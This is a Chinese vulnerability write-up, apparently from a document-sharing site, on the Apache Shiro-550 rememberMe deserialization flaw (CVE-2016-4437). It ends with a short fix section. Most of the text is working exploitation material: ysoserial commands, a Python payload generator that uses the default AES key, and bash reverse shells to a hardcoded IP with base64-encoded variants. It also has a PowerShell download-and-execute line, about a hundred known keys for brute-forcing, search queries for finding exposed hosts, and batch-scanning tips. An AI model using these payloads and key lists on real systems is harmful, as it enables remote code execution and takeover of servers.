ApacheShiro反序列化漏洞(Shiro-550CVE-2016-4437)
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
ApacheShiro反序列化漏洞(Shiro-550CVE-2016-4437)
0x00 漏洞描述
Apache Shiro是⼀款开源安全框架,提供⾝份验证、授权、密码学和会话管理。
Shiro框架直观、易⽤,同时也能提供健壮的安全性。
Apache Shiro 1.2.4及以前版本中,加密的⽤户信息序列化后存储在名为remember-me的Cookie中。
攻击者可以使⽤Shiro的默认密钥伪造⽤户Cookie,触发Java反序列化漏洞,进⽽在⽬标机器上执⾏任意命令
只要rememberMe的AES加密密钥泄露,⽆论shiro是什么版本都会导致反序列化漏洞。
0x01 影响版本
Apache Shiro <= 1.2.4
0x02 漏洞原理
Apache Shiro框架提供了记住我的功能(RememberMe),关闭了浏览器下次再打开时还是能记住你是谁,下次访问时⽆需再登录即可访问。
⽤户登陆成功后会⽣成经过加密并编码的cookie。
Apache Shiro 1.2.4及以前版本中,Apache Shiro默认使⽤了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。
然⽽AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞
在服务端接收cookie值时,按照如下步骤来解析处理:
1、检索RememberMe cookie 的值
2、Base 64解码
3、使⽤AES解密(加密密钥硬编码)
4、进⾏反序列化操作(未作过滤处理)
但是,AES加密的密钥Key被硬编码在代码⾥,意味着每个⼈通过源代码都能拿到AES加密的密钥。
因此,攻击者构造⼀个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。
Shiro将rememberMe进⾏解密并且反序列化,最终造成反序列化漏洞。
在调⽤反序列化时未进⾏任何过滤,导致可以触发远程代码执⾏漏洞
0x03 漏洞原因
⼤概意思是,shiro在登录处提供了Remember Me这个功能,来记录⽤户登录的凭证,然后shiro使⽤了CookieRememberMeManager类对⽤户的登陆凭证,也就是Remember Me的内容进⾏⼀系列处理:
使⽤Java序列化 ---> 使⽤密钥进⾏AES加密 ---> Base64加密 ---> 得到加密后的Remember Me内容
同时在识别⽤户⾝份的时候,需要对Remember Me的字段进⾏解密,解密的顺序为:
Remember Me加密内容 ---> Base64解密 ---> 使⽤密钥进⾏AES解密 --->Java反序列化
问题出在AES加密的密钥Key被硬编码在代码⾥,这意味着攻击者只要通过源代码找到AES加密的密钥,就可以构造⼀个恶意对象,对其进⾏序列化,AES加密,Base64编码,然后将其作为cookie的Remember Me字段发送,Shiro将RememberMe进⾏解密并且反序列化,最终造成反序列化漏洞。
0x04 漏洞利⽤条件
由于使⽤来aes加密,要想成功利⽤漏洞则需要获取aes的加密密钥,⽽在shiro的1.2.4之前版本中使⽤的是硬编码。
其默认密钥的base64编码后的值为
kPH+bIxk5D2deZiIxcaaaA==。
这⾥就可以通过构造恶意的序列化对象进⾏编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。
0x05 漏洞搜索关键字
fofa的搜索关键词:header="rememberme=deleteMe"
github搜索关键词:
securityManager.rememberMeManager.cipherKey
cookieRememberMeManager.setCipherKey
setCipherKey(Base64.decode
0x06 漏洞特征
shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段
0x07 环境搭建
1.下载镜像
docker pull medicean/vulapps:s_shiro_1
2.直接运⾏镜像,将docker的8080端⼝映射到本地的 8080上:
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
3.访问地址:http://149.28.9
4.72:8080/,可以看到环境被成功搭建
或者:
docker-compose up -d
服务启动后,访问http://your-ip:8080可使⽤admin:vulhub进⾏登录
0x08 漏洞复现
⼀、最基本⽅式复现利⽤复现
1.ysoserial-0.0.6-SNAPSHOT-all.jar⽂件下载:
root@shiro:~/Shiro_exploit# wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
2.访问漏洞靶场,并使⽤burp对其抓包,输⼊正确的⽤户名和密码,勾选Remember Me选项。
查看返回包中Set-Cookie中是否存在rememberMe=deleteMe字段。
3.对登录的页⾯进⾏抓包
4.抓到包发送到repeater,重放即可看到cookie中包含rememberMe=deleteMe字段
5.然后在攻击机执⾏以下命令:(通过 ysoserial中的JRMP监听模块,监听 1086 端⼝并执⾏反弹shell命令)
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1086 CommonsCollections4 “bash命令”
注:
payloads/JRMPClient 是结合 exploit/JRMPListener 使⽤的;
JRMPListener是ysoserial ⼯具⾥的其中⼀个利⽤模块,作⽤是通过反序列化,开启当前主机的⼀个 JRMP Server ,具体的利⽤过程是,将反序列化数据发送到 Server 中,然后Server中进⾏反序列化操作,并开启指定端⼝,然后在通过JRMPClient去发送攻击 payload;
payloads/JRMPClient ⽣存的 payload 是发送给⽬标机器的,exploit/JRMPListener 是在⾃⼰服务器上使⽤的。
然后我们来构造payload来进⾏反弹shell的操作,写好bash反弹shell的命令
bash -i >& /dev/tcp/149.28.94.72/2222 0>&1
然后转换成加密后的指令(去这个⽹站http://www.jackson-t.ca/runtime-exec-payloads.html)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDkuMjguOTQuNzIvMjIyMiAgIDA+JjE=}|{base64,-d}|{bash,-i}
注:为什么要对反弹shell进⾏编码?
在exec()函数中,">"管道符是没有意义的,会被解析为其他的意义,⽽我们的反弹shell命令中⼜必须使⽤,所以需要编码。
另外,StringTokenizer类会破坏其中包含空格的参数,该类将命令字符串按空格分隔。
诸如此类的东西 ls "My Directory"将被解释为ls '"My' 'Directory"'
6.最终在攻击机上执⾏的命令如下:
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1086 CommonsCollections4 “bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDkuMjguOTQuNzIvMjIyMiAgIDA+JjE=}|{base64,-d}|{bash,-i}”
7.使⽤shiro.py⽣成payload,需要python2的环境,使⽤Shiro内置的默认密钥对Payload进⾏加密:
shiro.py:
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
8.对⽬标靶机进⾏payload加密处理
root@shiro:~/Shiro_exploit# python shiro.py 149.28.94.72:1099 //攻击机的ip地址和java监听端⼝,shiro.py需要和ysoserial.jar放在同⼀个⽬录下。
rememberMe=Js0Jb6NWTG6O1ZvE0Y6L2cXY9xbf/F6SGZHcoL11yHyKy3gRXdgGRmS3XUUCdq+mPLOc6WzlFpEqdpm+o1RS3fN8N2JWzDI7XI4zZLcI3V3SVhasOqoYX6Eb5s7AQLHePx6T7p8s5
9.然后在攻击机上监听2222端⼝,等待shell反弹
10.将⽣成的remeberMe值添加到cookie字段内的jessionid后边,⽤分号隔开添加刚⽣成的payload,然后将数据包放⾏
11.数据包发送之后查看攻击机中java监听接⼝和nc监听端⼝结果显⽰如下图
⼆、Shiro_exploit脚本利⽤复现
1.使⽤Shiro_exploit的poc对⽬标靶机key的爆破检查
root@shiro:~/Shiro_exploit# python3 shiro_exploit.py -u http://149.28.94.72:8080
2.使⽤Shiro_exploit的poc执⾏反弹shell
root@shiro:~# git clone https:///insightglacier/Shiro_exploit.git
root@shiro:~/Shiro_exploit# pip3 install pycryptodome
python3 shiro_exploit.py -t 3 -u -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDkuMjguOTQuNzIvMjIyMiAgIDA+JjE=}|{base64,-d}|{bash,-i}"
nc -lvvp 2222
3.使⽤Shiro_exploit的poc进⾏在⽬标靶机创建⽂件
python3 shiro_exploit.py -t 3 -u -p "touch test.txt"
成功在服务器创建a.txt⽂件
4.使⽤Shiro_exploit的poc检测可⽤gadget的⽅式
python3 shiro_exploit.py -u
dnslog上会看到请求的域名,证明漏洞存在
复现
三、ShiroExploit图形化⼯具利⽤
图形化⼯具利⽤复现
Shiro550⽆需提供rememberMe Cooki
攻击机执⾏:(可以看到成功反弹shell)
nc -lvvp 3333
复现
脚本利⽤复现
四、ShiroScan脚本利⽤
脚本对漏洞进⾏检查
漏洞进⾏检查
使⽤ShiroScan脚本对
root@shiro:~# git clone https:///sv3nbeast/ShiroScan.git
root@shiro:~#pip3 install -r requirments.txt
root@shiro:~/ShiroScan# python3 shiro_rce.py http://149.28.94.72:8080/ "ping "
复现
五、shiro_crack.py 脚本利⽤
脚本利⽤复现
1.爆破模块漏洞检查
git clone
python3 shiro_crack.py http://149.28.94.72:8080/ #需要结合
成功后查看记录,记录格式为 {{key}}.{{module}}.dnslogurl
可知成功的key为kPH.bIxk5D2deZiIxcaaaA==,模块为CommonsBeanutils2 因为key中包含==/+等符号.
其实⽹上有很多爆破模块和key的⼯具,但是爆破成功后⼀般只是打通,并不知道模块和key是什么,因为对于⽆回显的rce,⽆论通没通,响应码均为200。
本项⽬通过爆破模块
和key结合dnslog间接获取成功的key和模块,原理即为DNSlog的内涵,Dns在解析的时候会留下⽇志,通过读取多级域名的解析⽇志,获取请求信息。
2.shiro_getshell 反弹shell
root@shiro:~/Awesome_shiro/shiro_getshell# python3 shiro_getshell.py -u http://149.28.94.72:8080 -lh 149.28.94.72 -lp 3333
root@shiro:~# nc -lvvp 3333
3.批量检查
根据请求头,响应头做⼀个简单的测试-将有shiro的⽹站丢到shiro.txt中
复现
六、ShiroScan图像化⼯具利⽤
图像化⼯具利⽤复现
1.漏洞检查
2.RCE命令执⾏
经测试只有commonscollections8和commonscollections2可以执⾏命令
默认的100key(可复制到检查key中)
附上默认的
3.附上
kPH+bIxk5D2deZiIxcaaaA==
Z3VucwAAAAAAAAAAAAAAAA== fCq+/xW488hMTCD+cmJ3aQ==
0AvVhmFLUs0KTA3Kprsdag==
1AvVhdsgUs0FSA3SDFAdag==
1QWLxg+NYmxraMoxAXu/Iw==
25BsmdYwjnfcWmnhAciDDg==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
3JvYhmBLUs0ETA5Kprsdag==
r0e3c16IdVkouZgk1TKVMg==
5aaC5qKm5oqA5pyvAAAAAA==
5AvVhmFLUs0KTA3Kprsdag==
6AvVhmFLUs0KTA3Kprsdag==
6NfXkC7YVCV5DASIrEm1Rg==
6ZmI6I2j5Y+R5aSn5ZOlAA== cmVtZW1iZXJNZQAAAAAAAA==
7AvVhmFLUs0KTA3Kprsdag==
8AvVhmFLUs0KTA3Kprsdag==
8BvVhmFLUs0KTA3Kprsdag==
9AvVhmFLUs0KTA3Kprsdag== OUHYQzxQ/W9e/UjiAGu6rg==
a3dvbmcAAAAAAAAAAAAAAA==
aU1pcmFjbGVpTWlyYWNsZQ== bWljcm9zAAAAAAAAAAAAAA== bWluZS1hc3NldC1rZXk6QQ== bXRvbnMAAAAAAAAAAAAAAA== ZUdsaGJuSmxibVI2ZHc9PQ== wGiHplamyXlVB11UXWol8g==
U3ByaW5nQmxhZGUAAAAAAA== MTIzNDU2Nzg5MGFiY2RlZg==
L7RioUULEFhRyxM7a2R/Yg==
a2VlcE9uR29pbmdBbmRGaQ== WcfHGU25gNnTxTlmJMeSpw==
OY//C4rhfwNxCQAQCrQQ1Q==
5J7bIJIV0LQSN3c9LPitBQ==
f/SY5TIve5WWzT4aQlABJA==
bya2HkYo57u6fWh5theAWw==
WuB+y2gcHRnY2Lg9+Aqmqg==
kPv59vyqzj00x11LXJZTjJ2UHW48jzHN 3qDVdLawoIr1xFd6ietnwg== ZWvohmPdUsAWT3=KpPqda
YI1+nBV//m7ELrIyDHm6DQ==
6Zm+6I2j5Y+R5aS+5ZOlAA==
2A2V+RFLUs+eTA3Kpr+dag==
6ZmI6I2j3Y+R1aSn5BOlAA== SkZpbmFsQmxhZGUAAAAAAA==
2cVtiE83c4lIrELJwKGJUw== fsHspZw/92PrS3XrPW+vxw==
XTx6CKLo/SdSgub+OPHSrw== sHdIjUN6tzhl8xZMG3ULCQ==
O4pdf+7e+mZe8NyxMTPJmQ== HWrBltGvEZc14h9VpMvZWw== rPNqM6uKFCyaL10AK51UkQ==
Y1JxNSPXVwMkyvES/kJGeQ==
lT2UvDUmQwewm6mMoiw4Ig== MPdCMZ9urzEA50JDlDYYDg== xVmmoltfpb8tTceuT5R7Bw==
c+3hFGPjbgzGdrC+MHgoRQ==
ClLk69oNcA3m+s0jIMIkpg==
Bf7MfkNR0axGGptozrebag==
1tC/xrDYs8ey+sa3emtiYw== ZmFsYWRvLnh5ei5zaGlybw== cGhyYWNrY3RmREUhfiMkZA== IduElDUpDDXE677ZkhhKnQ== yeAAo1E8BOeAYfBlm4NG9Q== cGljYXMAAAAAAAAAAAAAAA==
2itfW92XazYRi5ltW0M2yA== XgGkgqGqYrix9lI6vxcrRw== ertVhmFLUs0KTA3Kprsdag==
s0KTA3mFLUprK4AvVhsdag==
hBlzKg78ajaZuTE0VLzDDg==
9FvVhtFLUs0KnA3Kprsdyg==
d2ViUmVtZW1iZXJNZUtleQ==
yNeUgSzL/CfiWw1GALg6Ag==
NGk/3cQ6F5/UNPRh8LpMIg==
4BvVhmFLUs0KTA3Kprsdag==
MzVeSkYyWTI2OFVLZjRzZg==
CrownKey==a12d/dakdad
empodDEyMwAAAAAAAAAAAA==
A7UzJgh1+EWj5oBFi+mSgw==
YTM0NZomIzI2OTsmIzM0NTueYQ==
c2hpcm9fYmF0aXMzMgAAAA==
i45FVt72K2kLgvFrJtoZRw==
U3BAbW5nQmxhZGUAAAAAAA==
ZnJlc2h6Y24xMjM0NTY3OA==
Jt3C93kMR9D5e8QzwfsiMw==
MTIzNDU2NzgxMjM0NTY3OA==
vXP33AonIp9bFwGl7aT7rA==
V2hhdCBUaGUgSGVsbAAAAA==
Z3h6eWd4enklMjElMjElMjE=
Q01TX0JGTFlLRVlfMjAxOQ==
ZAvph3dsQs0FSL3SDFAdag==
Is9zJ3pzNh2cgTHB4ua3+Q==
NsZXjXVklWPZwOfkvk6kUA==
GAevYnznvgNCURavBhCr1w==
66v1O8keKNV3TTcGPK1wzg==
SDKOLKn2J1j/2BHjeZwAoQ==
命令⾏⼯具利⽤复现
复现
⼋、shiro_tool命令⾏⼯具利⽤
root@shiro:~/shiro_tool# java -jar shiro_tool.jar http://149.28.94.72:8080
选择1
然后输⼊命令:
curl
bash=bash -i >& /dev/tcp/149.28.94.72/2222 0>&1
输⼊命令:output=on #开启执⾏远程命令
输⼊命令:x=whoami #可执⾏系统命令
0x09 漏洞插件检查
https:///Daybr4ak/ShiroScan(burp插件Shiroscan)
或者通过bupusit抓取关键cookie值:rememberMe=deleteMe
0x10 漏洞修复
1.升级Shiro到最新版
2.如果在配置⾥配置了密钥, 那么请⼀定不要使⽤⽹上的密钥, ⼀定不要! ! 请⾃⼰base64⼀个AES的密钥, 或者利⽤官⽅提供的⽅法⽣成密钥:
org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey().
public class GenerateCipherKey {
/**
* 随机⽣成秘钥,参考org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey(int)
* @return
*/
public static byte[] generateNewKey() {
KeyGenerator kg;
try {
kg = KeyGenerator.getInstance("AES");
} catch (NoSuchAlgorithmException var5) {
String msg = "Unable to acquire AES algorithm. This is required to function.";
throw new IllegalStateException(msg, var5);
}
kg.init(128);
SecretKey key = kg.generateKey();
byte[] encoded = key.getEncoded();
return encoded;
}
}
3.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上
4.WAF拦截Cookie中长度过⼤的rememberMe值
0x11 漏洞总结
测试时, ⾸先需要对⽹站基本信息有⼀个收集, 要知道它是什么系统, linux与windows反弹shell的命令不同:
1.linux(需要编码处理): bash -i >& /dev/tcp/149.28.94.72/2222 0>&1
2.windwos(不需要编码处理): powershell IEX (New-Object Net.WebClient).DownloadString('https:///samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/She
3.响应包中出现<rememberMe=deleteMe>可以⽤来⼤概判断是否使⽤了Shiro.
4.关于反弹shell命令, 如果不编码会命令执⾏失败. 简单说就是反弹shell的命令中包含⼀些特殊的符号, 在进⾏反序列化的时候会导致命令⽆法正常解析
5.测试时, 最好先使⽤ping命令和dnlslog⽤来检测漏洞是否存在, 因为复杂的命令可能因为各种原因执⾏失败, 影响判断.
6.关于利⽤模块的选择,可以对CommonsCollections1, CommonsCollections3, CommonsCollections5分别挨过测试,也可以利⽤图形化⼯具来判断选择哪个利⽤模块。